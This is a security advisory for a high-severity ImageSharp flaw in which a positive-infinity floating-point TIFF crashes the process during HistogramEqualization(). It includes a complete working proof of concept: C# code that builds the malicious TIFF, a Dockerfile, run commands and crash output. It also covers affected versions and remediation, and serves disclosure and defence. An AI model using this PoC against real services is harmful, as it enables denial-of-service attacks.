GHSA-j3p4-wp97-rph4: High severity nuget/SixLabors.ImageSharp vulnerability
Summary
SixLabors.ImageSharp can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applies HistogramEqualization(). An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range HalfVector4 component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access.
This report covers HistogramEqualization only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior.
Affected package and versions
- Package: SixLabors.ImageSharp (NuGet) - Affected range: >= 2.0.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.
TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with AccessViolationException, while the finite 0.5 control completes on each tested release. Details
ColorNumerics.GetBT709Luminance can produce a luminance that does not map to a valid histogram index. GrayscaleLevelsRowOperation.Invoke then uses that result as an unchecked Unsafe.Add offset into the histogram.
The reproduction reaches this code through the public HistogramEqualization() extension. It does not test or claim the Adaptive Histogram Equalization or AutoLevel paths.
Tested environment
The reproduction uses the DLL in the published NuGet 4.1.1 package:
text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker
Reproduction
Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes HistogramEqualization().
Observed result:
text mode=exploit tiffBytes=166 sample=Infinity decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1> Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133
The control is identical except samples are 0.5:
text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel=<0.5, 0.5, 0.5, 1> completed Docker exit status: 0
When the same exploit binary was invoked through a shell inside the container, the shell printed Aborted and reported status 134. The direct docker run result above is the result for the supplied Docker commands.
No active exploitation is known.
Complete PoC files
Program.cs:
csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing;
static class Program { private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); }
// Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries 12) + 4; List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List<byte> ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width 4); // StripByteCounts AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float ifd.AddRange([0, 0, 0, 0]); file.AddRange(ifd); for (int i = 0; i < width; i++) { file.AddRange(BitConverter.GetBytes(sample)); }
return file.ToArray(); }
private static void Main(string[] args) { string mode = args.FirstOrDefault() ?? "exploit"; float sample = mode == "control" ? 0.5F : float.PositiveInfinity; byte[] tiff = BuildTiff(sample); Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");
using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff); Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}"); image.Mutate(x => x.HistogramEqualization()); Console.Error.WriteLine("completed"); } }
Project file:
xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project>
Dockerfile:
dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY j3p4.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build j3p4.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]
Run:
sh docker build -t imagesharp-j3p4-poc . docker run --rm imagesharp-j3p4-poc exploit docker run --rm imagesharp-j3p4-poc control
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
nuget/SixLabors.ImageSharpto a version that resolves this vulnerability.Fixed in 4.1.2
Event History
Frequently Asked Questions
Which applications are exposed to process termination?
Applications are exposed when they decode attacker-supplied 32-bit floating-point TIFF images as Image<HalfVector4> and then apply HistogramEqualization(). The reported impact is process termination, including AccessViolationException in tested releases.
What does an attacker need to supply?
An attacker needs to provide a 32-bit floating-point TIFF containing a positive-infinity sample and have the application process it through the affected decode and histogram-equalization path. No privileges or user interaction are indicated by the supplied severity vector.
What can be done if updating is not immediately possible?
Avoid applying HistogramEqualization() to attacker-controlled 32-bit floating-point TIFF content decoded as Image<HalfVector4>. Rejecting or isolating such inputs can prevent the reported processing path from being reached.
How can I determine whether my deployment is affected?
Check whether it uses SixLabors.ImageSharp versions 2.0.0 through 4.1.1, processes 32-bit floating-point TIFF files as Image<HalfVector4>, and calls HistogramEqualization(). The supplied report states that a positive-infinity TIFF proof of concept terminated tested versions 2.0.0, 3.1.12, 4.0.0, and 4.1.1, while a finite 0.5 control completed.